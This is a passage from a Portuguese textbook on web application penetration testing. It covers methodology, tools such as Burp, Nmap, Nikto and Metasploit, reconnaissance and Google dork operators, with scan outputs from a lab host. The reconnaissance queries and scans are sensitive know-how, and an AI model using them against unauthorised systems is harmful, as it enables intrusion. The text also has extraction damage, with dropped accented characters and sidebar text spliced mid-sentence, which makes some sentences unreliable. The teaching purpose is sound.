importante notar que o processo no deve parar quando um ataque for bem-sucedido, pois,
o objetivo do teste de invaso encontrar o mximo de caminhos possveis que possam levar
a um comprometimento da aplicao, dos usurios ou do ambiente. Assim, tomando-se como
Sequestro de sesso base o ltimo exemplo, mesmo que o analista execute com sucesso um sequestro de sesso,
Ataque que permite devido baixa entropia dos identificadores de sesso, ainda dever testar outros ataques,
tomar o controle
como evaso da pgina de autenticao e acesso direto a recursos do sistema.
q
de uma sesso
estabelecida entre o
Claramente, aps executada a etapa de explorao, fundamental que o auditor de
usurio e um sistema.
segurana tenha obtido um maior nvel de acesso ao sistema ou uma melhor compre-
enso dele, que permita abord-lo por outro ngulo.
41
De outro modo, no faz sentido iniciar uma nova rodada do ciclo, uma vez que nenhum
avano foi conseguido com a ltima iterao. Caso isso acontea, a melhor estratgia
revisar tudo que foi encontrado at o momento, para detectar possveis pontos que dei-
xaram de ser explorados, antes de dar o teste por encerrado.
Tudo que for encontrado deve constar no relatrio que ser entregue como resultado do
trabalho, incluindo aquelas vulnerabilidades que no puderam ser exploradas. Os ataques
realizados devem ser descritos de modo a permitir a reproduo pelo cliente, se desejado,
e, assim, devem conter o mximo de detalhes, como pr-condies, ferramentas utilizadas e
mtodos empregados. Normalmente, inclui-se tambm uma recomendao geral indicando
como o problema pode ser solucionado.
Por exemplo, aceitvel incluir detalhes tcnicos de cada explorao para o corpo tcnico
da empresa, mas no para membros da diretoria. Neste caso, normalmente, melhor
focar nos impactos decorrentes dos ataques possveis, do que nos mtodos que devem
ser empregados para aproveitar-se das vulnerabilidades presentes no ambiente. Com-
plementarmente, uma anlise de risco quantitativa relacionada aos vetores de ataque
muito bem-vinda.
Exerccio de fixao 1 e
Etapas de um teste de invaso
Quais so as etapas de um teste de invaso?
Ferramentas bsicas
Para realizar qualquer teste de invaso, um conjunto mnimo de ferramentas deve q
Teste de Invaso de Aplicaes Web
De modo geral, possvel encontrar timas solues livres, que cobrem a maior parte das
necessidades de um trabalho dessa natureza. Uma exceo a esta regra, talvez, sejam os
varredores automticos de vulnerabilidades, cujos exemplares livres ainda esto aqum dos
melhores produtos comerciais. Antes de sair comprando ferramentas carssimas, porm,
considere-se que elas so capazes de encontrar apenas os problemas mais simples, que
podem ser descritos em regras gerais, e que os itens de maior interesse ainda requerem o
conhecimento e experincia do analista.
42
No restante desta seo, ferramentas pertencentes s seguintes categorias q
sero apresentadas:
1 Navegadores web.
1 Proxies de interceptao.
1 Web spiders.
1 Fuzzers.
1 Varredores de portas e servios.
1 Varredores de vulnerabilidades.
1 Outras ferramentas.
Navegadores web
Os navegadores web so uma pea fundamental de um teste de invaso de aplicaes q
web, uma vez que so utilizados pelos usurios para os acessos normais aos sistemas.
Cada representante deles apresenta particularidades no uso do protocolo HTTP e na
maneira como documentos HTML so manipulados, ainda mais quando so utilizados
elementos no padronizados. Isso faz com que alguns tipos de ataques no funcionem
em todos os tipos de navegadores, e, portanto, uma boa prtica realizar os testes con-
siderando mais de um fornecedor e verses diferentes do mesmo software.
Como atacantes, muitas vezes, querem afetar de uma s vez o maior nmero de aplicaes
e usurios, razovel esperar que os ataques sejam direcionados s plataformas mais
populares. Assim, interessante saber a fatia de mercado de cada navegador, para que os
testes sejam direcionados para os mais utilizados apenas.
Controle ActiveX os sistemas operacionais Windows. Suporta controles ActiveX nativamente, uma vez
Pequeno programa que
que esta uma tecnologia da mesma empresa. Dada a sua popularidade, praticamente,
pode ser executado em
navegadores web, com todo stio e aplicao web construdo para suport-lo e, assim, importante que seja
o propsito de estender utilizado em um teste de invaso, sobretudo quando ActiveX for empregado. Novas
as funcionalidades
funcionalidades podem ser adicionadas por meio de extenses, como HttpWatch e
existentes.
TamperIE, que podem ser utilizadas para testar a segurana de aplicaes web.
43
ser utilizados em testes de invaso. Exemplos interessantes incluem Multiproxy Switch,
FoxyProxy, TamperData, HttpWatch e Add N Edit Cookies.
Os proxies de interceptao so uma das ferramentas mais utilizadas em testes de q violar a segurana
de um ambiente,
invaso de aplicaes web, permitindo inspecionar requisies e respostas HTTP e sem consentimento
do usurio. Vrus de
alter-las conforme desejado, em tempo real. Eles so executados localmente, na
computador, worms,
prpria estao em que roda o navegador web, e interceptam todo trfego dele baseado cavalos de troia e
em HTTP/HTTPS, dissecando o contedo de cada pacote. spywares so exemplos
de malwares.
Para isso, o navegador deve ser configurado para direcionar o trfego para o proxy em uso,
o que depende da verso de software utilizada. O esquema geral de funcionamento deste
tipo de ferramenta e as interaes que ocorrem entre os diversos elementos esto ilus-
trados na Figura 2.2.
Estao local
Requisio Requisio
Navegador Proxy de Servidor
Figura 2.2
web interceptao web
Resposta Resposta Funcionamento
de um proxy de
interceptao.
O primeiro passo o envio pelo navegador de uma requisio CONNECT ao proxy, que
respondida com uma mensagem com cdigo de estado 200. A partir desse momento, o
proxy simula o lado servidor do tnel SSL/TLS para o navegador e inicia, como um cliente,
Teste de Invaso de Aplicaes Web
uma segunda conexo SSL/TLS para o servidor destino original. Como as chaves criptogr-
ficas utilizadas pelo proxy no so as verdadeiras, uma mensagem de erro exibida pelo
navegador, que deve ser ignorada (vide Figura 2.3). Durante o restante da conexo, o proxy
atua como um tradutor, recebendo os dados enviados pelo navegador, armazenando-os
para inspeo e enviando-os ao servidor destino, por meio da segunda conexo. Este fluxo
pode ser observado na Figura 2.4.
44
Figura 2.3
Erro do navegador
devido a acesso
HTTPS por meio
do proxy.
Estao
IP IP IP
Funcionamento
de proxy de
interceptao para Internet
conexes HTTPS.
45
Os exemplares mais sofisticados dos proxies de interceptao fazem parte de sutes q
integradas de teste de aplicaes, dentre as quais pode-se citar:
1 Burp Suite uma plataforma integrada de testes, desenvolvida em Java pela empresa
PortSwigger Port Security, que pode ser empregada em todas as etapas de um teste
de invaso. H uma verso gratuita, que possui somente os mdulos bsicos, e outra
paga, que conta com muito mais recursos, como o Burp Scanner e o Burp Intruder, utili-
zados para varredura de vulnerabilidades e intruso de aplicaes, respectivamente.
Existem alternativas mais simples a estas sutes que podem ser instaladas diretamente nos
navegadores, na forma de extenses. Elas manipulam os dados antes de serem encapsu-
lados para transporte pela rede e, assim, permitem operar com o protocolo HTTPS, sem a
necessidade de estabelecer uma conexo com um proxy de interceptao. De maneira geral,
permitem alterar apenas os dados de requisies, mas isso mais que suficiente para testar
uma grande variedade de vulnerabilidades. O TamperIE e o TamperData so dois exemplos,
j citados neste curso, desse tipo de utilitrio.
Web spiders
Estas ferramentas, tambm chamadas de web crawlers, so empregadas na fase de q
mapeamento e tm por objetivo montar automaticamente o mapa da aplicao, visi-
tando cada pgina disponvel e realizando uma cpia local de cada recurso encontrado,
para fins de anlise posterior. Esse processo realizado facilmente para stios web com
contedo esttico, por meio de uma busca recursiva de recursos, com base nos links
existentes, limitados ao domnio de interesse.
Quando executadas para mapear aplicaes web, porm, devido natureza dinmica
destas, diversas dificuldades surgem, que nem sempre podem ser resolvidas satisfato-
riamente. O problema fundamental que a ferramenta precisa entender a semntica da
pgina analisada, em vez de simplesmente procurar por referncias a outros recursos.
Assim, ela deve ser capaz de: trabalhar com navegao baseada em formulrios, parme-
Teste de Invaso de Aplicaes Web
tros ou menus gerados dinamicamente por cdigo Javascript; lidar com processos de auten-
ticao e funcionalidades que demandam mltiplos passos para execuo; determinar o
tipo de dado aceito em campos de entrada, para fornecer valores adequados; e, interpretar
mensagens de erro que eventualmente sejam exibidas.
Mesmo que os requisitos acima possam ser satisfeitos, muito arriscado executar um
mapeamento totalmente automatizado e, assim, um mtodo hbrido deve ser utilizado, con-
forme ser visto posteriormente. Uma das razes para isso que, ao tentar mapear todas as
funcionalidades, uma ferramenta assim pode executar aes indesejadas e perigosas, como
remover um usurio, alterar as configuraes do sistema ou transferir fundos de uma conta
46
para outra. Alm das sutes de teste integradas j apresentadas, que tambm incluem web
spiders, o utilitrio wget e a ferramenta webshag so outros exemplos que podem ser dados.
Fuzzers
Para identificar falhas no tratamento e validao de informaes, devem ser utilizados q
dados invlidos, que estejam fora dos domnios esperados pela aplicao. Por exemplo,
para um campo que aceita o dia do ms, nmeros negativos ou maiores que 31 devem
ser empregados. Em alguns casos, como no teste de cross-site scripting, um campo pode
aceitar qualquer tipo de texto, mas os dados para teste devem respeitar uma sintaxe
especfica, para que o ataque funcione.
Cabe ao analista de segurana descrever o domnio de valores a ser testado em cada item
de entrada, mas, normalmente, listas pr-definidas esto disponveis para os casos mais
comuns. Para evadir ou quebrar eventuais filtros que tenham sido implementados, diversas
representaes de um mesmo dado devem ser submetidas pela ferramenta. Isso vlido
tambm para ataques que visam explorar navegadores especficos ou a interao entre a
aplicao e as plataformas subjacentes.
Existem alguns fuzzers disponveis para uso, dentre os quais possvel citar o Spike, a plata-
forma Peach Fuzzing, o WebFuzzer e o mdulo do WebScarab criado com esse propsito.
Analistas de segurana empregam este tipo de ferramenta para verificar se os ativos pelos
quais zelam esto executando apenas os servios autorizados, e para levantar informaes
preliminares do ambiente em testes de invaso caixa-preta e varreduras de vulnerabilidades.
1 Varredura SYN neste mtodo, um pacote SYN enviado ao ativo, o qual deve res-
ponder com um pacote SYN-ACK, caso a porta esteja aberta. Se isso acontecer,
a ferramenta envia um RST, para que a conexo TCP no seja estabelecida.
1 Varredura UDP um pacote UDP enviado para uma porta do ativo, o qual deve
gerar uma mensagem ICMP Port Unreachable, caso esteja fechada. Se nenhuma men-
sagem de erro for recebida pelo aplicativo, a porta considerada aberta.
1 Varredura FIN um pacote com o flag FIN ligado enviado a uma porta e, caso
ela esteja fechada, um pacote RST deve ser devolvido pelo ativo. De outro modo, o
pacote deve ser ignorado e nenhuma resposta gerada.
Uma vez detectadas as portas abertas, a identificao dos respectivos servios pode ser
realizada por meio de duas tcnicas principais: Verificao nula e Portas TCP e UDP.
47
A primeira, aplicvel ao protocolo TCP, consiste em se conectar na porta e esperar alguns
segundos, pela possibilidade de apresentao do banner de boas-vindas. Se isto ocorrer, ele
comparado contra uma base que tem o mapeamento para verses especficas de servios.
Note-se que isto pode gerar falsos positivos, caso o ativo seja configurado para exibir um
banner de outro fornecedor. O segundo mtodo, mais confivel e aplicvel a portas TCP e
UDP, resume-se em interagir com o servio e realizar a identificao, de acordo com o compor-
tamento apresentado e com uma base de respostas caractersticas de servios conhecidos.
A ferramenta mais popular deste tipo o Nmap, criado por Gordon Fyodor Lyon e distri-
budo como software livre para plataformas Windows, Linux e Mac OS X. Pode ser usado
para levantar rapidamente as informaes de uma nica mquina ou de redes inteiras,
empregando os mais diversos mtodos conhecidos. A interface padro por linha de
comando, mas h interfaces grficas disponveis, como Zenmap e NmapSI.
Varredores de vulnerabilidades
Estas ferramentas tm por objetivo encontrar, de maneira automatizada, o maior q
nmero possvel de vulnerabilidades em um ativo. O mecanismo bsico de funciona-
mento consiste no envio de requisies e anlise das respostas obtidas, em busca de
evidncias de que uma dada vulnerabilidade est presente.
Por exemplo, o varredor pode tentar acessar arquivos de exemplo instalados por padro
em uma dada plataforma e, se a solicitao for bem-sucedida, possvel concluir que h
um problema a ser resolvido. Essa estratgia tima para verificar fraquezas em softwares
de prateleira e os embutidos em hardware, uma vez que as instalaes no variam muito
de uma mquina para outra e, assim, possvel construir uma base de dados de vulnera-
bilidades que podem afet-los. Aplicaes web, por outro lado, tendem a ser nicas, j que
normalmente so construdas para propsitos especficos e, logo, devem ser tratadas como
tais, inviabilizando a criao de um dicionrio especfico de fraquezas.
Sempre existiro casos mais sutis que dependero do conhecimento do analista de segurana
para serem identificados. Logo, importante ter em mente que as ferramentas ainda no so
capazes de substituir os seres humanos, mas sim de auxili-los em termos de produtividade.
De acordo com Stuttard e Pinto (2007), as vulnerabilidades que podem ser encontradas q
automaticamente so aquelas para as quais possvel descrever claramente a assina-
Teste de Invaso de Aplicaes Web
tura de ataque e o resultado que deve ser verificado para inferir a presena da fraqueza,
como por exemplo:
48
importante conhecer tambm os tipos de vulnerabilidades que normalmente no so detec- q
tados corretamente. A lista abaixo, adaptada de Stuttard e Pinto (2007), no visa ser exaustiva:
Um estudo realizado por Doup, Cova e Vigna (2010) avaliou onze varredores de vulnerabili-
dades, livres e pagos, contra a aplicao WackoPicko, que desenvolveram especificamente
para os testes, contendo dezesseis vulnerabilidades de diversas classes. O trabalho
analisou, para cada ferramenta, capacidade de deteco, quantidade de falsos positivos
reportados, qualidade do mapeamento, tempo de execuo, nmero de acessos realizados,
interpretao de Javascript e criao automtica de contas de usurio. Alguns dos resul-
tados podem ser observados na Figura 2.5, que aproveita para dar exemplos dos principais
varredores existentes atualmente.
Falsos Tempo de
Ferramenta Licena Escore
positivos execuo (s)
Outras ferramentas
Outras ferramentas podem ser teis em situaes especficas: q
1 Netcat
1 OpenSSL
1 Nikto
1 Metasploit Framework
H inmeras outras ferramentas disponveis, alm das apresentadas at aqui, que podem
ser teis em situaes especficas e que devem ser consideradas como parte de um cinto de
utilidades de uma pessoa que realiza testes de invaso em aplicaes web. Adicionalmente,
49
em alguns casos, pode ser necessrio personalizar uma ferramenta j existente ou criar
uma prpria e, assim, interessante dominar uma ou mais linguagens de programao.
Netcat
Utilitrio de rede distribudo sob licena GPL e considerado por muitos como o canivete suo
de redes TCP/IP, devido a sua grande versatilidade. Permite enviar e receber dados, utilizando
os protocolos TCP e UDP, em qualquer porta e com os parmetros que se queira. Alm disso,
pode ser usado independentemente ou em conjunto com outras ferramentas ou scripts e
facilmente compilvel, sem alteraes, para diversos sistemas operacionais, como Linux, BSD,
Unix e Mac OS X. Um ponto negativo, entretanto, a falta de suporte aos protocolos SSL e TLS,
mas que pode ser resolvido por meio da associao com outras ferramentas.
Como exemplo, considere-se o exerccio sobre mtodos HTTP do Captulo 1. Ele pode ser
executado com o Netcat da seguinte maneira:
nc exemplo.esr.rnp.br 80
OPTIONS / HTTP/1.0
Host: exemplo.esr.rnp.br
OpenSSL
Utilitrio livre que permite trabalhar com diversos algoritmos criptogrficos e com os
protocolos SSL e TLS, suprindo assim a deficincia apresentada pelo Netcat. Est disponvel
para inmeras plataformas, como Linux, BSD, Mac OS X e Windows, e empregado por
diversos softwares, como o Apache mod_ssl, Sendmail e OpenCA. Pode ser usado via linha
de comando ou programaticamente, por meio de cdigos escritos em linguagens C e C++. Em
testes de invaso de aplicaes web, empregado para verificar a configurao de SSL/TLS
de servidores web e dos demais elementos do ambiente.
Nikto
Aplicativo livre, fornecido sob licena GPL, que serve para varrer servidores web em busca
de arquivos e diretrios instalados por padro, problemas especficos de verso e configura-
es vigentes. A base de dados inclui milhares de itens para inmeras plataformas e atua-
lizada constantemente com novas informaes. Uma informao importante que Nikto
uma ferramenta ruidosa, isto , procura executar a tarefa no menor tempo possvel, sem se
preocupar em ser detectada por sistemas de deteco de intruso.
Metasploit Framework
uma plataforma livre escrita em linguagem Ruby e cujos componentes so desenvolvidos
em C e Assembly. Usada em testes de invaso e criao de ferramentas de segurana,
possui uma base de dados de exploits para as mais diversas plataformas, que pode ser Exploit
Teste de Invaso de Aplicaes Web
estendida pelo prprio analista de segurana. Especificamente para avaliao de segurana Programa desenvolvido
para explorar uma ou
de aplicaes web, pode ser empregada na fase de mapeamento, na explorao de vulnera-
mais vulnerabilidades
bilidades nas plataformas subjacentes e na automatizao de diversas tarefas, por exemplo. de um sistema ou
ambiente e violar, assim,
Exerccio de fixao 2 e requisitos implcitos ou
explcitos de segurana
Tipos de ferramentas da informao.
50
Reconhecimento
A fase de reconhecimento tem por objetivo levantar o mximo possvel de informaes q
da aplicao alvo, principalmente nos casos de teste caixa-preta, em que quase nada
fornecido de antemo ao analista de segurana.
Embora esta etapa seja fundamental para um teste bem-sucedido, muitas vezes no
executada sistematicamente pelo auditor.
Para que o reconhecimento seja realizado com xito, importante se ter uma ideia do
tipo de informao que deve ser procurada.
1 Nomes de funcionrios.
1 Identificadores de usurios.
1 Informaes diversas sobre usurios.
1 Tecnologias empregadas.
1 Servidores e topologia de rede.
1 Configuraes dos componentes.
1 Recursos disponibilizados pelos servidores web.
1 Arquivos robots.txt.
drios de ataque, e, via a topologia de rede, mapear ativos que podem ser usados no
processo de invaso. O conhecimento dos sistemas operacionais utilizados, por sua vez,
permite direcionar ataques que envolvem a interao desta camada com a aplicao.
51
1 Arquivos robots.txt indicam a web spiders partes de um stio web que no devem
ser copiadas, porm, cabe ao software decidir se honra ou no a solicitao. Como os
recursos listados nesses arquivos podem ser acessados, se desejado, eles revelam ele-
mentos da aplicao que devem ser mapeados e analisados.
1 Redes sociais.
1 Grupos de discusso.
1 Anncios de emprego.
1 WHOIS.
1 DNS.
1 Redes sociais nomes de funcionrios, usurios e preferncias pessoais podem ser
encontradas em redes sociais, como Orkut, LinkedIn e Facebook. Vasculhando as comuni-
dades e descries de cada pessoa, tambm, possvel se ter uma noo das tecnologias
empregadas pela empresa e obter respostas para perguntas secretas usadas em meca-
nismos de recuperao de senhas.
1 DNS no caso improvvel de uma transferncia de zona estar habilitada para qualquer um,
possvel obter toda a base de dados dos servidores DNS da empresa, contendo nomes de DNS
servidores e endereos IP. De outro modo, a partir dos registros de servidores de nome e Domain Name System
um sistema hierrquico
de e-mail, pode-se identificar os temas utilizados na atribuio de nomes para ativos.
e distribudo de
gerenciamento de
Google hacking nomes de domnio,
q
Teste de Invaso de Aplicaes Web
52
A partir disso, fica fcil perceber o valor de Google hacking para um teste de invaso em apli-
caes web, na fase de reconhecimento, quando informaes preliminares sobre o alvo so
levantadas. Observe-se, entretanto, que a tcnica no aplicvel para sistemas acessveis
somente pela rede interna, uma vez que os recursos da aplicao no podem ser catalo-
gados pelo mecanismo de busca. Isto verdade se um clone ou uma adaptao do sistema
no for disponibilizado, separadamente, para usurios externos. Neste caso, a tendncia
que os servidores dos dois ambientes sejam configurados de maneira muito prxima, seno
igual, e, assim, vulnerabilidades em um lado provavelmente se refletem no outro.
Regras bsicas
Os seguintes itens representam os conceitos bsicos necessrios para se realizar uma q
consulta ao mecanismo de busca do Google:
1 Delimitar com aspas duplas um conjunto de palavras determina que estas sejam
agrupadas como uma frase, que deve aparecer exatamente igual nos resultados.
1 No so considerados mais que 32 termos na pesquisa e tudo que excede este limite
descartado pelo mecanismo.
comum ou caractere.
Alm disso, ele serve para desabilitar sinnimos, indicando que o termo no deve ser substi-
tudo por outro de mesmo significado. Por exemplo, uma pesquisa por prefeitura sp
(sem as aspas) tambm traz pginas que contm o termo So Paulo em vez de sp. Se sp
for precedido por +, por outro lado, pginas que contenham somente So Paulo e no
sp sero excludas do resultado. Circundar a palavra por aspas duplas apresenta exata-
mente o mesmo efeito.
53
Operadores avanados
Existem diversos operadores avanados que podem ser utilizados para refinar os resultados q
de uma busca e os seguintes itens devem ser observados no uso deles (Long et al, 2008):
1 O termo de busca pode ser uma nica palavra ou uma frase entre aspas duplas.
1 Uma pesquisa pode conter termos simples misturados com operadores avanados,
desde que as sintaxes sejam respeitadas.
1 Operadores que comeam com all, normalmente, no se do bem com outros ope-
radores e, portanto, devem ser empregados sozinhos.
1 site
1 intitle
1 allintitle
1 inurl
1 allinurl
1 filetype
1 link
1 author
1 site restringe a busca a pginas do domnio especificado e, assim, deve ser usado em
testes de invaso para limitar os resultados ao escopo do trabalho. Ex.: a pesquisa site:esr.
rnp.br enumera apenas as pginas do domnio da Escola Superior de Redes da RNP.
1 intitle por padro, os termos de busca so pesquisados em qualquer lugar das pginas
contidas na base de dados do Google. Para limitar a pesquisa ao ttulo delas, isto , ao
texto delimitado pelo marcador TITLE, este operador deve ser empregado. Ex.: a pes-
quisa intitle:index of retorna pginas que contm index of no ttulo, o que comum
quando a navegao de diretrios est habilitada no servidor web.
1 allintitle similar a intitle, determina que todos os termos pospostos devem estar
presentes no ttulo da pgina. Ex.: para encontrar pginas cujos ttulos contm index of
e imagens, a pesquisa allintitle:index of imagens pode ser utilizada.
1 inurl a palavra ou frase deve aparecer na URL do recurso. Ex.: a pesquisa inurl:admin
lista pginas que contm admin na URL e pode ser utilizada para encontrar eventuais
Teste de Invaso de Aplicaes Web
1 allinurl todos os termos pospostos devem fazer parte da URL. Ex.: allinurl:admin password.
1 filetype instrui o Google a listar somente arquivos de um determinado tipo. Ex.: para
encontrar arquivos de configurao, pode-se utilizar a busca filetype:conf.
1 link permite encontrar pginas que possuam links para o domnio especificado.
Ex.: link:rnp.br.
1 author vlido para o Google Groups, permite listar mensagens postadas pelo autor
especificado. Ex.: author:stallman lista mensagens cujos autores tm Stallman como
parte do nome.
54
Exemplos de consultas
Vejamos alguns exemplos de consultas para encontrar na internet tudo que se possa ima-
ginar, desde cmeras IP at arquivos de senhas de usurios. Considerando a utilidade da
tcnica, recomenda-se gastar algum tempo estudando as pesquisas existentes na base, as
quais podem ajudar a encontrar as informaes desejadas de uma aplicao.
Encontra relatrios gerados pela ferramenta Nessus, que podem indicar vulnerabilidades
presentes no ambiente.
Uma das maneiras de realizar esta tarefa escutar passivamente todo o trfego de
entrada e sada do elemento e, com base em detalhes especficos de plataforma, inferir
as informaes desejadas.
O lado positivo desta abordagem que, normalmente, no deixa rastros, uma vez que
nenhum pacote enviado ao alvo. Por outro lado, num teste caixa-preta, dificilmente o ana-
lista ser capaz de escutar o trfego da rede.
A outra estratgia ativa, isto , a identificao ocorre por meio de interao com o q
Captulo 2 - Reconhecimento e mapeamento
55
21/tcp open ftp Netgear broadband router or ZyXel VoIP adapter
ftpd 1.0
23/tcp open telnet Netgear broadband router or ZyXel VoIP adapter
telnetd
80/tcp open http Embedded Allegro RomPager webserver 4.07
UPnP/1.0 (ZyXEL ZyWALL 2)
|_ html-title: Protected Object
| http-auth: HTTP Service requires authentication
| Auth type: Basic, realm = 550B-4P2
|_ HTTP server may accept admin:admin combination for Basic
authentication
Observamos que o Nmap realizou a identificao do servidor web, graas opo -A.
Porm, isto faz com que o processo seja executado para todos os servios disponveis no
ativo, o que nem sempre desejvel. Isso pode ser resolvido pela opo -p, que restringe
as portas que sero analisadas.
Uma alternativa que fornece resultados semelhantes procurar por contedo instalado por
padro pelos softwares. importante mencionar que esse mtodo no muito confivel,
pois extremamente fcil configurar essas pginas, em plataformas diferentes, com o
intuito de enganar eventuais atacantes.
Teste de Invaso de Aplicaes Web
56
Figura 2.6
Tela padro de erro
do Apache.
Itens que podem ser observados incluem o valor do cabealho Server, a ordem dos cabea-
lhos em respostas e o tratamento de requisies mal formadas ou com protocolos e verses
inexistentes, dentre outros. O exemplo abaixo ilustra a disposio dos cabealhos em uma
resposta a uma requisio HEAD, feita para os servidores Apache, lighttpd, nginx e Tomcat.
Apache 2.2.17
HTTP/1.1 200 OK
0 Date: Wed, 05 Jan 2011 13:53:25 GMT
1 Server: Apache/2.2.17 (Fedora)
2 Last-Modified: Mon, 22 Nov 2010 01:40:24 GMT
3 ETag: 61c27-5056-4959a57036427
4 Accept-Ranges: bytes
5 Content-Length: 20566
6 Connection: close
7 Content-Type: text/html; charset=iso-8859-1
Captulo 2 - Reconhecimento e mapeamento
lighttpd 1.4.26
HTTP/1.0 200 OK
7 Content-Type: text/html
4 Accept-Ranges: bytes
3 ETag: 852229764
2 Last-Modified: Mon, 22 Oct 2007 12:13:49 GMT
5 Content-Length: 844
6 Connection: close
0 Date: Wed, 05 Jan 2011 13:56:56 GMT
1 Server: lighttpd/1.4.26
57
nginx 0.8.53
HTTP/1.1 200 OK
1 Server: nginx/0.8.53
0 Date: Wed, 05 Jan 2011 13:57:59 GMT
7 Content-Type: text/html
5 Content-Length: 3700
2 Last-Modified: Sun, 31 Oct 2010 21:12:28 GMT
6 Connection: close
4 Accept-Ranges: bytes
Tomcat 6.0.26
HTTP/1.1 200 OK
1 Server: Apache-Coyote/1.1
4 Accept-Ranges: bytes
3 ETag: W/7777-1291366189000
2 Last-Modified: Fri, 03 Dec 2010 08:49:49 GMT
7 Content-Type: text/html
5 Content-Length: 7777
0 Date: Wed, 05 Jan 2011 14:00:19 GMT
6 Connection: close
58
Levantamento dos mtodos suportados pelos servidores web
H mtodos interessantes, como PUT, que permitem copiar arquivos para o servidor. q
Isso pode ser muito til para carregar ferramentas em uma mquina da rede que esteja
servindo de piv para atacar outro ativo do ambiente.
Assim, vantajoso saber os mtodos suportados por um servidor web, e uma maneira
direta de conseguir isto por meio do mtodo OPTIONS, caso esteja habilitado.
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
Content-Length: 0
Date: Wed, 05 Jan 2011 16:16:12 GMT
Connection: close
Neste caso, uma soluo consiste em se criar um script para fazer requisies ao servidor
web, para todos os mtodos existentes, e observar aqueles que so aceitos. possvel,
tambm, empregar o Nikto e aproveitar-se de diversas outras verificaes de configurao
que ele faz contra o servidor.
um endereo IP diferente, que remete para o mesmo servidor fsico. Na outra, chamada
de hospedagem virtual baseada em nomes, diversos nomes de domnio so resolvidos
para um mesmo endereo IP e cabe ao servidor web discernir qual host virtual deve
tratar a requisio recebida.
A soluo para a questo acima reside no cabealho Host, que deve indicar o nome de
domnio do destino. Se ele no estiver presente, a requisio encaminhada para o host
padro, que nem sempre o correto.
Portanto, sempre que ferramentas como Netcat e Telnet ou scripts personalizados forem
utilizados para acessar aplicaes em servidores compartilhados, no se deve esquecer de
inclui-lo, sob pena de no se alcanar os resultados desejados.
59
Um teste simples para detectar o uso de servidor compartilhado por nomes consiste em q
resolver o nome de domnio da aplicao e tentar o acesso por endereo IP, o que faz
com que a requisio seja tratada pelo host padro.
Se este no for o responsvel por atender a aplicao, a pgina inicial de outro stio web
exibida, o que implica que o servidor no dedicado. Em caso contrrio, o mtodo no
capaz de fornecer uma resposta conclusiva.
Para exemplificar, a Figura 2.8 ilustra a sada de uma consulta realizada para o IP
200.219.245.136 ao servio WebHosting Info, a qual indica claramente a adoo de hospe-
dagem virtual baseada em nomes.
Figura 2.8
Consulta realizada
ao servio
WebHosting Info.
Uma abordagem mais agressiva consiste no uso de ferramentas como o Nikto, que testam
a presena de diversos itens de configurao, de acordo com uma base pr-cadastrada.
O relatrio abaixo resultado de um teste efetuado pelo Nikto contra uma mquina execu-
tando a distribuio Damn Vulnerable Linux. Observe-se que diversos diretrios e poten-
ciais vulnerabilidades foram encontrados pelo utilitrio e que o tempo de varredura, nove
segundos, extremamente baixo.
60
esruser@ubuntu:~$ nikto -host dvl.esr.rnp.br
- Nikto v2.03/2.04
---------------------------------------------------------------------------
+ Target IP: 192.168.213.100
+ Target Hostname: dvl.esr.rnp.br
+ Target Port: 80
+ Start Time: 2011-01-08 11:07:20
---------------------------------------------------------------------------
+ Server: Apache/1.3.37 (Unix) PHP/4.4.4
+ No CGI Directories found (use -C all to force check all possible
dirs)
- Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP method (Allow Header): TRACE is typically only
used for debugging and should be disabled. This message does not
mean it is vulnerable to XST.
+ Apache/1.3.37 appears to be outdated (current is at least
Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.
+ PHP/4.4.4 appears to be outdated (current is at least 5.2.8)
+ OSVDB-0: GET /./ : Appending /./ to a directory allows indexing
+ OSVDB-0: GET /%2e/ : Weblogic allows source code or directory
listing, upgrade to v6.0 SP1 or higher. http://www.securityfocus.
com/bid/2513.
+ OSVDB-877: TRACK / : TRACK option (TRACE alias) appears to allow
XSS or credential theft. See http://www.cgisecurity.com/whitehat-
mirror/WhitePaper_screen.pdf for details
+ OSVDB-877: TRACE / : TRACE option appears to allow XSS or
credential theft. See http://www.cgisecurity.com/whitehat-mirror/
WhitePaper_screen.pdf for details
+ OSVDB-119: GET /?PageServices : The remote server may allow
directory listings through Web Publisher by forcing the server
to show all files via open directory browsing. Web Publisher
should be disabled. http://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-1999-0269.
+ OSVDB-119: GET /?wp-cs-dump : The remote server may allow
directory listings through Web Publisher by forcing the server
to show all files via open directory browsing. Web Publisher
should be disabled. http://cve.mitre.org/cgi-bin/cvename.
cgi?name=CVE-1999-0269.
Captulo 2 - Reconhecimento e mapeamento
61
+ End Time: 2011-01-08 11:07:29 (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Exerccio de fixao 3 e
Fase de reconhecimento
Que informaes devem ser obtidas na fase de reconhecimento?
Mapeamento
Na fase de mapeamento, deve ser criado um mapa da aplicao, que reflita a estruturao q
dos arquivos componentes, as funcionalidades ofertadas, os pontos de entrada de infor-
mao e as tecnologias utilizadas. Tudo isso realizado por meio dos seguintes passos:
Esta tarefa, obviamente, no deve ser feita de maneira manual, gravando-se, por meio
do navegador, cada uma das pginas visitadas. Por outro lado, viu-se que uma estra-
tgia totalmente automatizada tambm no adequada, pois pode ocorrer de itens no
serem cobertos, ou pginas perigosas, acessadas. Assim, uma abordagem hbrida deve
ser empregada, na qual o auditor navega pela aplicao, enquanto que um web spider
grava as pginas e monta o mapa automaticamente.
Uma vantagem clara desse mtodo que as dificuldades encontradas por esse tipo de
software, como interpretao de Javascript, autenticao e processos de mltiplos estgios,
Teste de Invaso de Aplicaes Web
A Figura 2.9 ilustra o mapa de uma aplicao, gerado pelo software Burp Suite por meio
desta abordagem. O lado esquerdo da interface mostra a estrutura da aplicao, indicando,
neste exemplo, diretrios, arquivos e funcionalidades definidas por parmetros passados a
scripts PHP. Na parte direita superior, um resumo da requisio e da resposta, relacionadas
ao elemento selecionado, apresentado e, na parte inferior, detalhes so fornecidos.
O arquivo accounts.txt, exibido na figura, contm usurios e senhas do sistema e foi desco-
berto automaticamente a partir do contedo do arquivo robots.txt.
62
q
Figura 2.9
Cpia de aplicao Neste processo, comum que recursos ainda no mapeados sejam revelados, por meio
com Burp Suite.
de links ou comentrios nas pginas capturadas. Esses elementos podem englobar, por
exemplo, funcionalidades desativadas ou futuras, pginas antigas, pginas privilegiadas
que no esto visveis para o perfil de acesso atual, servidores auxiliares e plataformas
